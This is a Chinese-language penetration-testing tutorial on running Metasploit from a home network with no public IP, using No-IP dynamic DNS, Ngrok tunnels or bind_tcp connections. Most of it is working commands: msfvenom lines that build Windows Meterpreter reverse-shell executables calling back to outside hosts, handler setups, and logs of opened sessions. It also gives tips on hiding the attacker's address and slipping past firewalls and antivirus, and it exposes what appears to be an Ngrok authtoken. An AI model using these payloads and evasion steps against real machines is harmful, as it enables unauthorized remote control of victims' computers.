在使用Metasploit进行安全测试时可能会遇到没有公网IP,又没有VPS的尴尬情况,如果遇到这种情况时我们又该如何在本地内网环境中使用Metasploit对其目标进行测试呢?这篇文章中笔者将给大家介绍3种常用方法,再也不怕没有公网IP和VPS了。
0x01 No-ip动态域名
msfvenom命令生成载荷文件时要填写我们的公网IP和监听的端口号,但由于是动态IP,每次生成载荷文件时都需要填写不同的公网IP,个人感觉这样很是麻烦,所以这时就想到了可以用No-ip提供的动态域名解析服务和路由器的端口映射功能来解决这个问题。
No-ip(https://www.noip.com)是一个非常流行的动态域名解析服务,就是将ISP分配给我们的动态公网IP绑定到No-ip提供的免费域名上,每次重启后只需在No-ip客户端更新下就可以了,客户端支持Mac、Linux和Windows平台。
首先我们得先在No-ip官网进行注册,登录No-ip后创建个免费域名,下载并安装好No-ip客户端,设置好自动更新间隔时间,等一会msf8.ddns.net域名就已经解析过来了。
图1-1-31 No-ip创建免费域名
下载No-ip客户端源码并进行编译安装:
root@kali:~# cd /usr/local/src/
root@kali:~# wget http://www.no-ip.com/client/linux/noip-duc-linux.tar.gz
root@kali:~# tar xf noip-duc-linux.tar.gz
root@kali:~# cd noip-2.1.9-1/
root@kali:~# make
root@kali:~# sudo make install
安装过程中主要填写以下几项:
Please enter the login/email string for no-ip.com msf8@gmail.com(输入注册时填的邮箱地址)
Please enter the password for user 'msf8@gmail.com' *******(输入密码)
Please enter an update interval:[30](noip客户端检查路由器外部网址变化间隔,默认30分钟)
Do you wish to run something at successful update?[N] (y/N) n(直接按回车即可)
root@kali:~# sudo /usr/local/bin/noip2 //启动No-ip客户端
root@kali:~# sudo /usr/local/bin/noip2 -C //重新配置一次
root@kali:~# sudo /usr/local/bin/noip2 -S //显示当前运行状态、信息
图1-1-32 No-ip免费域名解析
图1-1-33 路由器设置端口映射
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=msf8.ddns.net LPORT=443 -f exe > /root/noip.exe
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.120
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.120:443
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 192.168.1.120
[*] Meterpreter session 1 opened (192.168.1.120:443 -> 192.168.1.108:49199) at 2017-04-01 02:01:16 +0800
注:这种方法在以前家庭网络中做渗透测试时经常用到的,但现在运营商提供的宽带服务,无论是动态IP还是固定IP,默认都禁止了所有端口对外服务,所以现在路由器里配置的端口映射和DMZ功能都已经失效了,也就是说这种方法可能已不再适用,如果申请开通端口还需要进行域名备案,麻烦!
运营商这样做的目的就是为了防止个人随意开设各种非法服务,也能够防止黑客通过扫描器进行的批量扫描和抓鸡等攻击行为。这样封禁能在一定程度上保证了我们的网络安全,比如说2017年爆出的MS17010永恒之蓝漏洞,445端口已被运营商封禁了,这样就使得国内个人家庭电脑被攻击的机率小了很多,引用来源:http://kekefund.com/2018/06/24/lanproxy/。
0x02 Ngrok内网穿透
现在大家使用的基本都是无线路由器,处于内网环境,所以在使用Metasploit进行渗透测试时不能直接用内网IP来进行监听,这时我们可以用Ngrok内网穿透的方式来实现内网环境中也能用Metasploit来进行渗透测试,也可以用来绕过一些防火墙限制。
Ngrok(https://www.ngrok.com)是一个非常流行的反向代理服务,可进行内网穿透,支持TCP、HTTP、HTTPS协议,客户端支持Mac,Linux和Windows平台,且为开源项目。国内提供Ngrok服务的有:NATAPP、Sunny-Ngrok,提供类似服务的有:花生壳、FRP、Lanproxy等。
- FRP:https://github.com/fatedier/frp/releases
- Ngrok:https://github.com/bubenshchykov/ngrok
- Lanproxy:https://github.com/ffay/lanproxy
图1-1-34 官网No-ip原理图
首先我们得先在Ngrok官网进行注册,登录到Ngrok平台并查看Authtoken密钥,然后下载Ngrok客户端并执行:./ngrok authtoken uAL229nfa2UNRvZVCNpD_4nNBMeMYX6WU81ajNAGvB。
图1-1-35 Ngrok的Authtoken密钥
图1-1-36 Authtoken密钥存在本地
Ngrok客户端填入我们需要转发的TCP协议和443端口,在本地执行:./ngrok tcp 443。
EXAMPLES:
ngrok http 80 # secure public URL for port 80 web server
ngrok http -subdomain=baz 8080 # port 8080 available at baz.ngrok.io
ngrok http foo.dev:80 # tunnel to host:port instead of localhost
ngrok tcp 22 # tunnel arbitrary TCP traffic to port 22
ngrok tls -hostname=foo.com 443 # TLS traffic for foo.com to port 443
ngrok start foo bar baz # start tunnels from the configuration file
图1-1-37 本地启动Ngrok客户端
root@kali:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=15925 -f exe > /root/ngrok.exe
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.120
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.1.120:443
[*] Starting the payload handler...
[*] Sending stage (1189423 bytes) to 192.168.1.120
[*] Meterpreter session 1 opened (192.168.1.120:443 -> 192.168.1.120:57440) at 2017-04-01 02:01:16 +0800
这里是将我们内网攻击机192.168.1.120:443转发到Ngrok的19.8.10.3:15925,所以最终“受害机”是与Ngrok进行了通信,并没有直接与我们的攻击机进行通信,但攻击机也与Ngrok进行通信了。这样虽然能够有效隐藏攻击机的真实IP地址,但在Ngrok的服务器上还是有详细日志记录的,所以还是不要想着利用此方法去做“坏事”!
- 攻击机与Ngrok:192.168.1.120:443 -> free.idcfengye.com:15925(19.8.10.3)
- 受害机与Ngrok:TCP 192.168.1.4:26446 19.8.10.3:15925 ESTABLISHED 21120
ngrok iis6 Bad Request (Invalid Hostname):
如果将主机标头值分配给IIS中默认网站的“所有未分配的Internet协议(IP)”地址,则可能会出现这样的问题。参考以下链接:ngrok http 80 -host-header=”localhost:80”
https://support.microsoft.com/en-us/help/842693/you-receive-a-http-400—-bad-request-error-message-when-you-try-to-use
0x03 Bind_tcp正向连接
使用Metasploit的bind_tcp正向连接进行监听时无需在路由器做端口映射,因为我们是主动去连接目标服务器上已开启的一个端口,不过得确定目标服务器是能够通外网的,而且这种正向连接的方法在特定环境下能绕过部分防火墙、WAF以及防病毒软件!
Reverse TCP:
reverse_tcp(反向连接):就是攻击者开启一个端口,等待远程目标连接。
The reverse TCP handler is provided by the Msf::Handler::ReverseTcp class. It will listen on a port for incoming connections and will make a call into handle connection with the client sockets as they do.
Bind TCP:
bind_tcp(正向连接):就是远程目标开启一个端口,等待攻击者连接。
The bind TCP handler is provided through Msf::Handler::BindTcp. It will attempt to establish a connection to a target machine on a given port (specified in LPORT). If a connection is established, a call is made into handle connection passing along the socket associated with the connection.
图1-1-38 Bind、Reverse连接原理图 ```pascal root@kali:~# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=443 -f exe > /root/bind.exe
msf > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp msf exploit(multi/handler) > set rhost 192.168.1.108 msf exploit(multi/handler) > set lport 443 msf exploit(multi/handler) > exploit [] Started bind handler [] Sending stage (205891 bytes) to 192.168.1.108 [*] Meterpreter session 1 opened (192.168.1.120:35185 -> 192.168.1.108:443) at 2017-04-02 01:26:39 +0800 ```